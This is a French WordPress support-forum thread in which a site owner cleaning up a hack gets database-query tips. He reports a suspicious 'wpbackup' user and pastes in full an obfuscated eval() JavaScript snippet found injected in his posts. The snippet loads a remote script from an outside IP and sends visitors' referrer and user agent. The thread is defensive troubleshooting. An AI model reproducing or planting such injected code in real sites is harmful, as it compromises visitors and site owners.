- WordPress :6.6
- Statut : résolu
- Ce sujet contient 154 réponses, 5 participants et a été mis à jour pour la dernière fois par
Laurent__13, le il y a 6 mois et 1 semaine.
-
AuteurMessages
-
8 octobre 2024 à 22 h 00 min #2481117
Voilà, je suis arrivé au bout du tuto en respectant scrupuleusement toutes les étapes et tous les conseils dispensés. Cela m’a pris des jours.
Après avoir envoyé, enfin, les dossiers Themes et Langages, (5 ter, je crois), il n’y avait plus rien à faire.
J’ai lancé le site en lecture : affichage impeccable.
J’ai voulu m’authentifier afin de retrouver la console d’administration, et là, patatras ! Rebelote. Login et mot de passe (corrects, aucun message d’erreur) puis après quelques secondes, le même écran s’affiche, vide. Je peux retaper login et mot de passe indéfiniment, ça reviendra toujours à une nouvelle page d’authentification vierge. Plus aucun accès à mon administration.
Je me demande si je ne vais pas, finalement, recréer un deuxième WP avec un nom légèrement différent, dans la base de données, et y copier-coller le dossier wp-content pour retrouver tous mes articles. Maintenant que je suis habitué aux transferts par FTP (j’utilise Fetch, sous MacOS). Je ne vois que ça. Car je ne pourrai jamais faire davantage que ce que je viens de réaliser.
Je tiens malgré tout à vous remercier très sincèrement pour vos conseils et votre patience à mon égard.
Cette communauté est réellement formidable !
Laurent
8 octobre 2024 à 22 h 23 min #2481118Le contenu n’est pas dans wp-content mais dans la base de données (dans wp-content vous retrouverez extensions, thèmes et médias).
Il y a quelque chose qui me chiffonne : quand vous dites que le site fonctionne parfaitement, c’est avec le thème que vous avez installé et les extensions installées activées ou un des thèmes par défaut ?
8 octobre 2024 à 22 h 25 min #2481119Oui, le site fonctionne sous Twenty-Twenty-Four, le thème que j’avais auparavant.
8 octobre 2024 à 23 h 22 min #2481120Mais que je viens de transférer depuis le dossier local WP (il ne s’agit pas de l’ancien thème).
8 octobre 2024 à 23 h 36 min #2481121Apparemment, vous êtes toujours piraté! Vérifiez si le fichier helpers.php est revenu.
9 octobre 2024 à 15 h 47 min #2481131Je viens de vérifier : en suivant l’arborescence /www/wp-includes/helpers.php, je n’ai rien trouvé de tel. Il est vrai que j’avais d’abord supprimé le dossier « includes » avant d’uploader un nouveau dossier « includes » propre issu de la dernière version de WordPress, téléchargée au moment de mettre en oeuvre le Tuto. Vraiment, je ne comprends pas…
9 octobre 2024 à 16 h 02 min #2481132Bonjour,
Où, précisément, trouve-t-on les articles écrits, dans la base de données ?
Merci !
9 octobre 2024 à 16 h 39 min #2481138Voilà la structure https://formation-wp.com/structure-de-la-base-de-donnees-wordpress/
9 octobre 2024 à 16 h 52 min #2481140Bonjour,
Dans la table wp_posts. Dans votre base de données, vous ouvrez la table wp_posts, vous cliquez l’onglet SQL et dans la fenêtre vous copiez/collez cette commande: (pour coller il faut faire « ctrl V » (v majuscule))
SELECT * FROM `wp_posts` WHERE post_type = 'post' AND post_status = 'publish';
Ce qui vous donnera la liste de tous vos articles publiés. Si vous voulez aussi les brouillons, vous faites:
SELECT * FROM `wp_posts` WHERE post_type = 'post';
9 octobre 2024 à 18 h 39 min #2481151Merci beaucoup ! ça a fonctionné.
Onglet « Users » est-il normal de voir, en plus de mon iD, un iD nommé « wpbackup » ?
Est-il, de la même manière, possible d’accéder aux pages de mon blog (différentes des articles) ?
En vous remerciant encore.
Laurent
9 octobre 2024 à 19 h 28 min #2481158Je suis finalement parvenu à isoler les cinq pages de mon site (en modifiant la requête ci-dessus avec « pages »).
Eh bien figurez-vous que j’ai trouvé dans deux d’entre-elles, du code qui ne « collait » pas avec le reste. Avec le même genre de mots dont les lettres sont individuellement entre guillemets. Comme dans le fichier « helpers.php ». Enfin, ces lignes Javascript bizarre n’avaient rien à faire là. L’idée d’aller chercher dans les pages m’avait été donnée par le post de Li-An, au tout début de ce billet, qui avait repéré sur le site https://sitecheck.sucuri.net/ que mon site avait été piraté. En y regardant de plus près, il s’agissait d’un « javascript malware : malware.injection?34 » depuis l’une de mes pages. En effet, dans ladite page, figurait du code JS qui ne cadrait pas avec le reste (j’ai, il y a quelques années, beaucoup travaillé le code html et ses diverses balises : lorsqu’un mot est coupé pour y placer une demi-douzaine de lignes bizarres, ça se voit). Une seconde page avait été polluée de la sorte. Ceci dit, je n’ai toujours pas retrouvé mon accès administration, dans mon site…
9 octobre 2024 à 19 h 36 min #2481160Les deux analyses de https://sitecheck.sucuri.net/ (avant et après). Ca ne règle pas mon problème, mais c’est déjà ça.
Fichiers joints :
Vous devez être connecté pour voir les fichiers joints.9 octobre 2024 à 19 h 40 min #2481163Il est fort possible que vous ayez des codes du même genre dans d’autres éléments du site. Par exemple, avez-vous vérifié le dossier content / uploads. Et je ne me souviens plus (ça commence à faire un bon nombre de réponses) si vous avez vérifié le fichier wp-config. Sinon, regardez si vous avez des lignes anormales au début ou à la fin du fichier.
9 octobre 2024 à 19 h 45 min #2481164Effectivement, je viens de regarder dans un ancien article, et au début ces mêmes lignes suspectes :
<noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iizbd|var|u0026u|referrer|baknk||js|php'.split('|'),0,{}))
</script></noindex>Ça va être un long jeu de patience que de passer chaque fichier au crible…
9 octobre 2024 à 20 h 08 min #2481169Je viens d’analyser une vingtaine d’articles, et j’ai viré de nombreuses lignes encadrées par <noindex> : que représente cette balise ?
Ça va être un travail de fourmi…
-
AuteurMessages
- Vous devez être connecté pour répondre à ce sujet.